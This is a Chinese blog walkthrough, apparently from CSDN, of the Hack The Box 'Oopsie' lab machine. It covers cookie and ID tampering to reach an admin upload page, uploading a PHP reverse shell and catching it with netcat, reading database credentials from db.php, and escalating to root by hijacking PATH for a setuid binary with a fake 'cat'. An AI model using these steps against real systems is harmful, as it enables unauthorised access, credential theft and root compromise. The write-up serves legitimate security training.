hack the box靶场oopsie靶机

打开靶机,看一下第一个问题:
在这里插入图片描述
问:什么可以拦截本地的流量?
答案:看着y结尾,应该是proxy,输入正确
第二问:
在这里插入图片描述
问:登录界面在什么文件夹下面?
答案:/cdn-cgi/login。知道这个页面的最直接的方式是f12后看下页面,能看到有一个cdn-cgi/login相关的信息。同时,根据提示,可以使用burpsuite爬取,这也是更加合适的方式,因为爬取能提供我们下一步信息。
在burpsuite中爬取这个网站,操作就是拦截数据包后在target中右击网站选择spider this host即可。然后能发现以下信息,这就是答案。
在这里插入图片描述
第三个问题:
在这里插入图片描述
问:可以修改什么来获取到上传的页面?
回答:cookie。继续看第二问的截图,在request栏下面,cookie明显是user的id的形式,所以修改这个很可能能拿到上传的页面。
第四个问题:
在这里插入图片描述
问:上传的页面在哪里?
回答:/uploads。这题我没进行下一步操作我直接猜出来的。

第五个问题:

问:
回答:
这题的操作实现步骤比较多,思路如下:
通过问题三的爬虫可以知道,其中有一个请求中是包含ID的,而且这个ID是会反映出用户的角色的,注意,虽然cookie部分有user以及role,但是修改id还是能知道用户的角色。
在这里插入图片描述
上述链接渲染的页面如下:
在这里插入图片描述
那么思路就很直接了,通过爆破看一下修改不同的id看会出现什么。
将数据包发送至intrude,position选择id,payload1-100,step为1,然后进行爆破
在这里插入图片描述
在这里插入图片描述
选择attack,看下结果,很明显有几个包是和其他的不一样,下面试id=30时的包,能看到用户是super admin。
在这里插入图片描述
现在手里有了super admin的ID,那么我们就可以通过修改cookie以及上面请求的链接进入到super admin的后台了。修改后进行重放,进入后台成功。
在这里插入图片描述
接着准备一下shell,后面的步骤参考了这位大佬的文章(https://blog.csdn.net/m0_48066270/article/details/108641892)
复制kali自带的shell到桌面

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop

然后修改一下其中的ip地址
在这里插入图片描述
使用burp拦截上传页面的信息,复制爆破的id=30的信息修改,如下:
在这里插入图片描述
点击forward后能拿到上传的页面
在这里插入图片描述
在选择文件后,继续点击upload后拦截包,在refer下面添加以下内容:

cookie: user=86575; role=super admin

然后forward出去,上传成功
在这里插入图片描述
经过前面几个问题,我们能知道上传的地方是uploads。首先我们使用nc监听一下1234端口

nc -nvvlp 1234

接着新开一个窗口,使用curl触发shell

curl http://10.129.5.255/uploads/php-reverse-shell.php

这样在nc中拿到了shell(能发现我这个地方ip变了,是因为老是上传不成功,重启了机器)
在这里插入图片描述
在shell中找到以下路径

cd /var/www/html/cdn-cgi/login

然后读取其中的db.php,能拿到数据库的账户和密码
在这里插入图片描述
至此,解决了第六个问题:
在这里插入图片描述
问:robert用户包含的账户密码文件是哪个?
答案:db.php
继续访问以下路径

cd /home/robert

读取其中的user.txt,拿到user的flag

cat user.txt

在这里插入图片描述
由于上述的shell不是交互的,因此通过下面这个命令将其提升为交互式的shell

SHELL=/bin/bash script -q /dev/null

在这里插入图片描述
切换为robert用户,密码为前面获取的db.php中的密码
在这里插入图片描述
使用id命令看下robert是否有特殊的权限,发现其还属于一个叫bugtracker的组。
在这里插入图片描述
接着使用下面两条命令查找一下bugtracker组有没有什么好东西,参考了大佬的思路。

find / -type f -group bugtracker 2>/dev/null 			//-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker								//-al 以长格式方式显示并且显示隐藏文件

在这里插入图片描述
发现其中的bugtracker命令是存在s权限的,“可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告”–参考了大佬的
接着使用strings命令看下这个命令是怎么运行的
在这里插入图片描述
其中包含cat /root/reports/这条命令,其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。

export PATH=/tmp:$PATH				//将/tmp目录设置为环境变量
cd /tmp/							//切换到/tmp目录下
echo '/bin/sh' > cat				//在此构造恶意的cat命令
chmod +x cat						//赋予执行权限

在这里插入图片描述
"
这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户
"–参考了大佬的
在这个地方执行上述命令后,要再执行一次

usr/bin/bugtracker

然后发现robert用户属于root了。前后对比如下
在这里插入图片描述
既然是root了,那么读取root下面的root.txt文件,拿到最后的flag
在这里插入图片描述
至此,完成了后面的7-12题。总体截图如下:

在这里插入图片描述在这里插入图片描述

这题做完了。很多内容参考了大佬们的内容,按我自己的实力,到了用户的flag那步就到顶了。参考了以下的内容:
https://zhuanlan.zhihu.com/p/332338130
https://blog.csdn.net/m0_48066270/article/details/108641892
https://www.cnblogs.com/black–horse/p/14715272.html

这其中还有很多不懂的东西,如:
最后拿到flag的一段执行的命令是什么意思?大部分都不太明白。回头我会再学习学习,总结总结。争取出个博客写明白些。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值